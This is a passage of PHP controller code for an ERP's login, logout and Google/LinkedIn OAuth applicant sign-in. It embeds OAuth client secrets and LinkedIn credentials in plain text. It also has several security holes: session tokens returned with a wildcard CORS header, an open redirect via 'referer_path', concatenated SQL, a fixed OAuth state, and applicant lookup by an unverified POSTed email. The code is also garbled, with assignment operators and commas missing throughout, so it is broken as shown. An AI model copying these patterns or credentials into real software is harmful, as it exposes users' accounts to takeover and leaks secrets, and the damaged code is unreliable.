  5437.                                         'userType' => $thisUserUserType,
  5438.                                         'globalId' => $globalId,
  5439.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  5440.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  5441.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  5442.                                         'systemType' => '_ERP_',
  5443.                                         'companyId' => 1,
  5444.                                         'appId' => $thisUserAppId,
  5445.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  5446.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  5447.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  5448.                                                 array(
  5449.                                                     'globalId' => $globalId,
  5450.                                                     'appId' => $thisUserAppId,
  5451.                                                     'authenticate' => 1,
  5452.                                                     'userType' => $thisUserUserType
  5453.                                                 )
  5454.                                             )
  5455.                                         ),
  5456.                                         'userCompanyList' => [
  5457.                                         ]
  5458.                                     );
  5459.                                     $accessList[] = $d;
  5460.                                 }
  5461.                             }
  5462.                         }
  5463.                         $session_data['userAccessList'] = $accessList;
  5464.                     }
  5465.                     $ultimateData System::setSessionForUser($em_goc,
  5466.                         $session,
  5467.                         $session_data,
  5468.                         $config
  5469.                     );
  5470. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  5471.                     $session_data $ultimateData['sessionData'];
  5472.                     $session_data $this->filterClientSessionData($session_data);
  5473.                     $token $ultimateData['token'];
  5474.                     $session->set('token'$token);
  5475.                     if ($systemType == '_CENTRAL_') {
  5476.                         $session->set('csToken'$token);
  5477.                     } else {
  5478.                         $session->set('csToken'$csToken);
  5479.                     }
  5480.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  5481.                         $session->set('remoteVerified'1);
  5482.                         $response = new JsonResponse(array(
  5483.                             'token' => $token,
  5484.                             'uid' => $session->get(UserConstants::USER_ID),
  5485.                             'session' => $session,
  5486.                             'success' => true,
  5487.                             'session_data' => $session_data,
  5488.                         ));
  5489.                         $response->headers->set('Access-Control-Allow-Origin''*');
  5490.                         return $response;
  5491.                     }
  5492.                     //TEMP START
  5493.                     if ($systemType == '_CENTRAL_') {
  5494.                         return $this->redirectToRoute('central_landing');
  5495.                     }
  5496.                     //TREMP END
  5497.                     if ($userForcedRoute != '')
  5498.                         return $this->redirectToRoute($userForcedRoute);
  5499.                     if ($request->request->has('referer_path')) {
  5500.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  5501.                             return $this->redirect($request->request->get('referer_path'));
  5502.                         }
  5503.                     }
  5504.                     if ($request->query->has('refRoute')) {
  5505.                         if ($request->query->get('refRoute') == '8917922')
  5506.                             $userDefaultRoute 'apply_for_consultant';
  5507.                     }
  5508.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  5509.                         $userDefaultRoute 'dashboard';
  5510.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5511.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5512.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5513.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5514.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5515.                                 return $this->redirect($red);
  5516.                             }
  5517.                         } else {
  5518.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5519.                         }
  5520.                     } else
  5521.                         return $this->redirectToRoute($userDefaultRoute);
  5522.                 }
  5523.             }
  5524.         }
  5525.         $session $request->getSession();
  5526.         if (isset($encData['appId'])) {
  5527.             if (isset($gocDataListByAppId[$encData['appId']]))
  5528.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  5529.         }
  5530.         $routeName $request->attributes->get('_route');
  5531.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  5532.             $refRoute '';
  5533.             $message '';
  5534.             $errorField '_NONE_';
  5535. //            if ($request->query->has('message')) {
  5536. //                $message = $request->query->get('message');
  5537. //
  5538. //            }
  5539. //            if ($request->query->has('errorField')) {
  5540. //                $errorField = $request->query->get('errorField');
  5541. //
  5542. //            }
  5543.             if ($refRoute != '') {
  5544.                 if ($refRoute == '8917922')
  5545.                     $redirectRoute 'apply_for_consultant';
  5546.             }
  5547.             if ($request->query->has('refRoute')) {
  5548.                 $refRoute $request->query->get('refRoute');
  5549.                 if ($refRoute == '8917922')
  5550.                     $redirectRoute 'apply_for_consultant';
  5551.             }
  5552.             $google_client = new Google_Client();
  5553. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5554. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5555.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5556.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5557.             } else {
  5558.                 $url $this->generateUrl(
  5559.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5560.                 );
  5561.             }
  5562.             $selector BuddybeeConstant::$selector;
  5563.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5564. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5565.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5566. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5567.             $google_client->setRedirectUri($url);
  5568.             $google_client->setAccessType('offline');        // offline access
  5569.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5570.             $google_client->setRedirectUri($url);
  5571.             $google_client->addScope('email');
  5572.             $google_client->addScope('profile');
  5573.             $google_client->addScope('openid');
  5574.             return $this->render(
  5575.                 '@Authentication/pages/views/applicant_login.html.twig',
  5576.                 [
  5577.                     'page_title' => 'BuddyBee Login',
  5578.                     'oAuthLink' => $google_client->createAuthUrl(),
  5579.                     'redirect_url' => $url,
  5580.                     'message' => $message,
  5581.                     'errorField' => '',
  5582.                     'systemType' => $systemType,
  5583.                     'ownServerId' => $ownServerId,
  5584.                     'refRoute' => $refRoute,
  5585.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5586.                     'selector' => $selector
  5587.                 ]
  5588.             );
  5589.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  5590.             $refRoute '';
  5591.             $message '';
  5592.             $errorField '_NONE_';
  5593. //            if ($request->query->has('message')) {
  5594. //                $message = $request->query->get('message');
  5595. //
  5596. //            }
  5597. //            if ($request->query->has('errorField')) {
  5598. //                $errorField = $request->query->get('errorField');
  5599. //
  5600. //            }
  5601.             if ($refRoute != '') {
  5602.                 if ($refRoute == '8917922')
  5603.                     $redirectRoute 'apply_for_consultant';
  5604.             }
  5605.             if ($request->query->has('refRoute')) {
  5606.                 $refRoute $request->query->get('refRoute');
  5607.                 if ($refRoute == '8917922')
  5608.                     $redirectRoute 'apply_for_consultant';
  5609.             }
  5610.             $google_client = new Google_Client();
  5611. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5612. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5613.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5614.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5615.             } else {
  5616.                 $url $this->generateUrl(
  5617.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5618.                 );
  5619.             }
  5620.             $selector BuddybeeConstant::$selector;
  5621. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5622.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  5623. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5624.             $google_client->setRedirectUri($url);
  5625.             $google_client->setAccessType('offline');        // offline access
  5626.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5627.             $google_client->setRedirectUri($url);
  5628.             $google_client->addScope('email');
  5629.             $google_client->addScope('profile');
  5630.             $google_client->addScope('openid');
  5631.             return $this->render(
  5632.                 '@Authentication/pages/views/central_login.html.twig',
  5633.                 [
  5634.                     'page_title' => 'Central Login',
  5635.                     'oAuthLink' => $google_client->createAuthUrl(),
  5636.                     'redirect_url' => $url,
  5637.                     'message' => $message,
  5638.                     'systemType' => $systemType,
  5639.                     'ownServerId' => $ownServerId,
  5640.                     'errorField' => '',
  5641.                     'refRoute' => $refRoute,
  5642.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5643.                     'selector' => $selector
  5644.                 ]
  5645.             );
  5646.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  5647.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  5648.         } else
  5649.             return $this->render(
  5650.                 '@Authentication/pages/views/login_new.html.twig',
  5651.                 array(
  5652.                     "message" => $message,
  5653.                     'page_title' => 'Login',
  5654.                     'gocList' => $gocDataListForLoginWeb,
  5655.                     'gocId' => $gocId != $gocId '',
  5656.                     'systemType' => $systemType,
  5657.                     'ownServerId' => $ownServerId,
  5658.                     'encData' => $encData,
  5659.                     //                'ref'=>$request->
  5660.                 )
  5661.             );
  5662.     }
  5663.     public function initiateAdminAction(Request $request$remoteVerify 0)
  5664.     {
  5665.         $em $this->getDoctrine()->getManager();
  5666.         MiscActions::initiateAdminUser($em);
  5667.         $this->addFlash(
  5668.             'success',
  5669.             'The Action was Successful.'
  5670.         );
  5671.         return $this->redirectToRoute('user_login');
  5672.     }
  5673.     public function LogoutAction(Request $request$remoteVerify 0)
  5674.     {
  5675.         $session $request->getSession();
  5676.         $em_goc $this->getDoctrine()->getManager('company_group');
  5677.         $session $request->getSession();
  5678.         $token =    $request->headers->get('auth-token',$request->request->get('token'$request->request->get('hbeeSessionToken''')));
  5679. //        return new JsonResponse([$token]);
  5680.         if ($session->get(UserConstants::USER_ID0)==) {
  5681. //                    return new JsonResponse([$token]);
  5682.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$token)['sessionData'];
  5683.             if ($to_set_session_data != null) {
  5684.                 foreach ($to_set_session_data as $k => $d) {
  5685.                     //check if mobile
  5686.                     $session->set($k$d);
  5687.                 }
  5688.             } else {
  5689.                 $hbeeErrorCode ApiConstants::ERROR_TOKEN_EXPIRED;
  5690.             }
  5691.         }
  5692.         $userId $session->get(UserConstants::USER_ID);
  5693.         $currentTime = new \Datetime();
  5694.         $currTs $currentTime->format('U');
  5695.         $routeName $request->attributes->get('_route');
  5696.         $currentTaskId $session->get(UserConstants::USER_CURRENT_TASK_ID0);
  5697.         $currentPlanningItemId $session->get(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5698.         if ($request->query->get('endCurrentTask'1) == 1) {
  5699.             if (
  5700.                 ($currentTaskId != && $currentTaskId != null && $currentTaskId != '') &&
  5701.                 ($session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_GENERAL ||
  5702.                     $session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_SYSTEM)
  5703.             ) {
  5704.                 $gocId $session->get(UserConstants::USER_GOC_ID);
  5705.                 $appId $session->get(UserConstants::USER_APP_ID);
  5706.                 $acknowledgementService $this->get('app.public_document_acknowledgement_service');
  5707.                 list($em$goc) = $acknowledgementService->getPublicDocumentEntityManager($appId);
  5708.                 $stmt $em->getConnection()->executeStatement('UPDATE task_log set working_status=2, actual_end_ts=' $currTs ' where working_status=1 and user_id= ' $session->get(UserConstants::USER_ID) . ' ;');
  5709.                 
  5710.                 
  5711.                 if (1) {
  5712.                     $session->set(UserConstants::USER_CURRENT_TASK_ID0);
  5713.                     $session->set(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5714.                     $empId $session->get(UserConstants::USER_EMPLOYEE_ID0);
  5715.                     $currTime = new \DateTime();
  5716.                     $options = array(
  5717.                         'notification_enabled' => $this->container->getParameter('notification_enabled'),
  5718.                         'notification_server' => $this->container->getParameter('notification_server'),
  5719.                     );
  5720.                     $positionsArray = [
  5721.                         array(
  5722.                             'employeeId' => $empId,
  5723.                             'userId' => $session->get(UserConstants::USER_ID0),
  5724.                             'sysUserId' => $session->get(UserConstants::USER_ID0),
  5725.                             'timeStamp' => $currTime->format(DATE_ISO8601),
  5726.                             'lat' => 23.8623834,
  5727.                             'lng' => 90.3979294,
  5728.                             'markerId' => HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT,
  5729. //                            'userId'=>$session->get(UserConstants::USER_ID, 0),
  5730.                         )
  5731.                     ];
  5732.                     if (is_string($positionsArray)) $positionsArray json_decode($positionsArraytrue);
  5733.                     if ($positionsArray == null$positionsArray = [];
  5734.                     $dataByAttId = [];
  5735.                     $workPlaceType '_UNSET_';
  5736.                     foreach ($positionsArray as $findex => $d) {
  5737.                         $sysUserId 0;
  5738.                         $userId 0;
  5739.                         $empId 0;
  5740.                         $dtTs 0;
  5741.                         $timeZoneStr '+0000';
  5742.                         if (isset($d['employeeId'])) $empId $d['employeeId'];
  5743.                         if (isset($d['userId'])) $userId $d['userId'];
  5744.                         if (isset($d['sysUserId'])) $sysUserId $d['sysUserId'];
  5745.                         if (isset($d['tsMilSec'])) {
  5746.                             $dtTs ceil(($d['tsMilSec']) / 1000);
  5747.                         }
  5748.                         if ($dtTs == 0) {
  5749.                             $currTsTime = new \DateTime();
  5750.                             $dtTs $currTsTime->format('U');
  5751.                         } else {
  5752.                             $currTsTime = new \DateTime('@' $dtTs);
  5753.                         }
  5754.                         $currTsTime->setTimezone(new \DateTimeZone('UTC'));
  5755.                         $attDate = new \DateTime($currTsTime->format('Y-m-d') . ' 00:00:00' $timeZoneStr);
  5756.                         $EmployeeAttendance $this->getDoctrine()
  5757.                             ->getRepository(EmployeeAttendance::class)
  5758.                             ->findOneBy(array('employeeId' => $empId'date' => $attDate));
  5759.                         if (!$EmployeeAttendance) {
  5760.                             continue;
  5761.                         } else {
  5762.                         }
  5763.                         $attendanceInfo HumanResource::StoreAttendance($em$empId$sysUserId$request$EmployeeAttendance$attDate$dtTs$timeZoneStr$d['markerId']);
  5764.                         if ($d['markerId'] == HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT) {
  5765.                             $workPlaceType '_STATIC_';
  5766.                         }
  5767.                         if (!isset($dataByAttId[$attendanceInfo->getId()]))
  5768.                             $dataByAttId[$attendanceInfo->getId()] = array(
  5769.                                 'attendanceInfo' => $attendanceInfo,
  5770.                                 'empId' => $empId,
  5771.                                 'lat' => 0,
  5772.                                 'lng' => 0,
  5773.                                 'address' => 0,
  5774.                                 'sysUserId' => $sysUserId,
  5775.                                 'companyId' => $request->getSession()->get(UserConstants::USER_COMPANY_ID),
  5776.                                 'appId' => $request->getSession()->get(UserConstants::USER_APP_ID),
  5777.                                 'positionArray' => []
  5778.                             );
  5779.                         $posData = array(
  5780.                             'ts' => $dtTs,
  5781.                             'lat' => $d['lat'],
  5782.                             'lng' => $d['lng'],
  5783.                             'marker' => $d['markerId'],
  5784.                             'src' => 2,
  5785.                         );
  5786.                         $posDataArray = array(
  5787.                             $dtTs,
  5788.                             $d['lat'],
  5789.                             $d['lng'],
  5790.                             $d['markerId'],
  5791.                             2
  5792.                         );
  5793.                         $dataByAttId[$attendanceInfo->getId()]['markerId'] = $d['markerId'];
  5794.                         //this markerId will be calclulted and modified to check if user is in our out of office/workplace later
  5795.                         $dataByAttId[$attendanceInfo->getId()]['attendanceInfo'] = $attendanceInfo;
  5796.                         $dataByAttId[$attendanceInfo->getId()]['positionArray'][] = $posData;
  5797.                         $dataByAttId[$attendanceInfo->getId()]['lat'] = $d['lat'];  //for last lat lng etc
  5798.                         $dataByAttId[$attendanceInfo->getId()]['lng'] = $d['lng'];  //for last lat lng etc
  5799.                         if (isset($d['address']))
  5800.                             $dataByAttId[$attendanceInfo->getId()]['address'] = $d['address'];  //for last lat lng etc
  5801. //                $dataByAttId[$attendanceInfo->getId()]['positionArray'][]=$posDataArray;
  5802.                     }
  5803.                     $response = array(
  5804.                         'success' => true,
  5805.                     );
  5806.                     foreach ($dataByAttId as $attInfoId => $d) {
  5807.                         $response HumanResource::setAttendanceLogFlutterApp($em,
  5808.                             $d['empId'],
  5809.                             $d['sysUserId'],
  5810.                             $d['companyId'],
  5811.                             $d['appId'],
  5812.                             $request,
  5813.                             $d['attendanceInfo'],
  5814.                             $options,
  5815.                             $d['positionArray'],
  5816.                             $d['lat'],
  5817.                             $d['lng'],
  5818.                             $d['address'],
  5819.                             $d['markerId']
  5820.                         );
  5821.                     }
  5822.                 }
  5823.             }
  5824.         }
  5825.         if ($token != '')
  5826.             MiscActions::DeleteToken($em_goc$token);
  5827.         $session->clear();
  5828.         $session->set('CLEARLOGIN'1);
  5829.         if (strripos($request->server->get('HTTP_REFERER'), 'select_data') === false) {
  5830.             if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  5831.                 $referrerPath parse_url($request->server->get('HTTP_REFERER'), PHP_URL_PATH);
  5832.                 $referrerPath strtolower($referrerPath === false || $referrerPath === null $request->server->get('HTTP_REFERER') : $referrerPath);
  5833.                 if (strripos($referrerPath'/auth/') === false && strripos($referrerPath'undefined') === false) {
  5834.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN'$request->server->get('HTTP_REFERER'));
  5835.                 } else {
  5836.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5837.                 }
  5838.             }
  5839.         } else {
  5840.             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5841.         }
  5842. //        $request->headers->setCookie(Cookie::create('CLEARLOGINCOOKIE', 1
  5843. //            )
  5844. //
  5845. //        );
  5846.         if ($routeName == 'app_logout_api' || $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == || $request->get('returnJson'0) == 1) {
  5847.             if ($userId) {
  5848.                 return new JsonResponse(array(
  5849.                     "success" => empty($session->get(UserConstants::USER_ID)) ? true false,
  5850.                     "message" => "Logout Successfull!",
  5851.                     'session_data' => [],
  5852.                     'userId' => $userId
  5853.                 ));
  5854.             } else {
  5855.                 return new JsonResponse(array(
  5856.                     "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  5857.                     "message" => "Already Logout",
  5858.                     'session_data' => [],
  5859.                     'userId' => $userId
  5860.                 ));
  5861.             }
  5862.         }
  5863.         return $this->redirectToRoute("dashboard");
  5864.     }
  5865.     public function applicantLoginAction(Request $request$encData ''$remoteVerify 0)
  5866.     {
  5867.         $session $request->getSession();
  5868.         $email $request->getSession()->get('userEmail');
  5869.         $sessionUserId $request->getSession()->get('userId');
  5870.         $oAuthData = [];
  5871. //    $encData='';
  5872.         $em $this->getDoctrine()->getManager('company_group');
  5873.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  5874.         $redirectRoute 'dashboard';
  5875.         if ($encData != '') {
  5876.             if ($encData == '8917922')
  5877.                 $redirectRoute 'apply_for_consultant';
  5878.         }
  5879.         if ($request->query->has('encData')) {
  5880.             $encData $request->query->get('encData');
  5881.             if ($encData == '8917922')
  5882.                 $redirectRoute 'apply_for_consultant';
  5883.         }
  5884.         $message '';
  5885.         $errorField '_NONE_';
  5886.         if ($request->query->has('message')) {
  5887.             $message $request->query->get('message');
  5888.         }
  5889.         if ($request->query->has('errorField')) {
  5890.             $errorField $request->query->get('errorField');
  5891.         }
  5892.         if ($request->request->has('oAuthData')) {
  5893.             $oAuthData $request->request->get('oAuthData', []);
  5894.         } else {
  5895.             $oAuthData = [
  5896.                 'email' => $request->request->get('email'''),
  5897.                 'uniqueId' => $request->request->get('uniqueId'''),
  5898.                 'oAuthHash' => '_NONE_',
  5899.                 'image' => $request->request->get('image'''),
  5900.                 'emailVerified' => $request->request->get('emailVerified'''),
  5901.                 'name' => $request->request->get('name'''),
  5902.                 'firstName' => $request->request->get('firstName'''),
  5903.                 'lastName' => $request->request->get('lastName'''),
  5904.                 'type' => 1,
  5905.                 'token' => $request->request->get('oAuthtoken'''),
  5906.             ];
  5907.         }
  5908.         $isApplicantExist null;
  5909.         if ($email) {
  5910.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5911.                 $isApplicantExist $applicantRepo->findOneBy([
  5912.                     'applicantId' => $sessionUserId
  5913.                 ]);
  5914.             } else
  5915.                 return $this->redirectToRoute($redirectRoute);
  5916.         }
  5917.         $google_client = new Google_Client();
  5918. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5919. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5920.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5921.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  5922.         } else {
  5923.             $url $this->generateUrl(
  5924.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  5925.             );
  5926.         }
  5927.         $selector BuddybeeConstant::$selector;
  5928.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5929.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  5930. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5931.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5932. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5933.         $google_client->setRedirectUri($url);
  5934.         $google_client->setAccessType('offline');        // offline access
  5935.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5936.         $google_client->addScope('email');
  5937.         $google_client->addScope('profile');
  5938.         $google_client->addScope('openid');
  5939. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  5940.         //linked in 1st
  5941.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  5942.             $curl curl_init();
  5943.             curl_setopt_array($curl, array(
  5944.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  5945.                 CURLOPT_HEADER => false,  // don't return headers
  5946.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  5947.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  5948.                 CURLOPT_ENCODING => "",     // handle compressed
  5949.                 CURLOPT_USERAGENT => "test"// name of client
  5950.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  5951.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  5952.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  5953.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  5954.                 CURLOPT_USERAGENT => 'InnoPM',
  5955.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  5956.                 CURLOPT_POST => 1,
  5957.                 CURLOPT_HTTPHEADER => array(
  5958.                     'Content-Type: application/x-www-form-urlencoded'
  5959.                 )
  5960.             ));
  5961.             $content curl_exec($curl);
  5962.             $contentArray = [];
  5963.             curl_close($curl);
  5964.             $token false;
  5965. //      return new JsonResponse(array(
  5966. //          'content'=>$content,
  5967. //          'contentArray'=>json_decode($content,true),
  5968. //
  5969. //      ));
  5970.             if ($content) {
  5971.                 $contentArray json_decode($contenttrue);
  5972.                 $token $contentArray['access_token'];
  5973.             }
  5974.             if ($token) {
  5975.                 $applicantInfo = [];
  5976.                 $curl curl_init();
  5977.                 curl_setopt_array($curl, array(
  5978.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  5979.                     CURLOPT_HEADER => false,  // don't return headers
  5980.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  5981.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  5982.                     CURLOPT_ENCODING => "",     // handle compressed
  5983.                     CURLOPT_USERAGENT => "test"// name of client
  5984.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  5985.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  5986.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  5987.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  5988.                     CURLOPT_USERAGENT => 'InnoPM',
  5989.                     CURLOPT_HTTPGET => 1,
  5990.                     CURLOPT_HTTPHEADER => array(
  5991.                         'Authorization: Bearer ' $token,
  5992.                         'Header-Key-2: Header-Value-2'
  5993.                     )
  5994.                 ));
  5995.                 $userGeneralcontent curl_exec($curl);
  5996.                 curl_close($curl);
  5997.                 if ($userGeneralcontent) {
  5998.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  5999.                 }
  6000.                 $curl curl_init();
  6001.                 curl_setopt_array($curl, array(
  6002.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6003.                     CURLOPT_HEADER => false,  // don't return headers
  6004.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6005.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6006.                     CURLOPT_ENCODING => "",     // handle compressed
  6007.                     CURLOPT_USERAGENT => "test"// name of client
  6008.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6009.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6010.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6011.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6012. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6013.                     CURLOPT_USERAGENT => 'InnoPM',
  6014.                     CURLOPT_HTTPGET => 1,
  6015.                     CURLOPT_HTTPHEADER => array(
  6016.                         'Authorization: Bearer ' $token,
  6017.                         'Header-Key-2: Header-Value-2'
  6018.                     )
  6019.                 ));
  6020.                 $userEmailcontent curl_exec($curl);
  6021.                 curl_close($curl);
  6022.                 $token false;
  6023.                 if ($userEmailcontent) {
  6024.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6025.                 }
  6026. //        $oAuthEmail = $applicantInfo['email'];
  6027. //        return new JsonResponse(array(
  6028. //          'userEmailcontent'=>$userEmailcontent,
  6029. //          'userGeneralcontent'=>$userGeneralcontent,
  6030. //        ));
  6031. //        return new response($userGeneralcontent);
  6032.                 $oAuthData = [
  6033.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6034.                     'uniqueId' => $userGeneralcontent['id'],
  6035.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6036.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6037.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6038.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6039.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6040.                     'type' => 1,
  6041.                     'token' => $token,
  6042.                 ];
  6043.             }
  6044.         } else if (isset($_GET["code"])) {
  6045.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6046.             if (!isset($token['error'])) {
  6047.                 $google_client->setAccessToken($token['access_token']);
  6048.                 $google_service = new Google_Service_Oauth2($google_client);
  6049.                 $applicantInfo $google_service->userinfo->get();
  6050.                 $oAuthEmail $applicantInfo['email'];
  6051.                 $oAuthData = [
  6052.                     'email' => $applicantInfo['email'],
  6053.                     'uniqueId' => $applicantInfo['id'],
  6054.                     'image' => $applicantInfo['picture'],
  6055.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6056.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6057.                     'firstName' => $applicantInfo['givenName'],
  6058.                     'lastName' => $applicantInfo['familyName'],
  6059.                     'type' => $token['token_type'],
  6060.                     'token' => $token['access_token'],
  6061.                 ];
  6062.             }
  6063.         }
  6064.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6065.             $isApplicantExist $applicantRepo->findOneBy([
  6066.                 'email' => $oAuthData['email']
  6067.             ]);
  6068.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6069.                 $isApplicantExist $applicantRepo->findOneBy([
  6070.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6071.                 ]);
  6072.             }
  6073.             if ($isApplicantExist) {
  6074.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6075.                 } else
  6076.                     return $this->redirectToRoute("core_login", [
  6077.                         'id' => $isApplicantExist->getApplicantId(),
  6078.                         'oAuthData' => $oAuthData,
  6079.                         'encData' => $encData,
  6080.                         'locale' => $request->request->get('locale''en'),
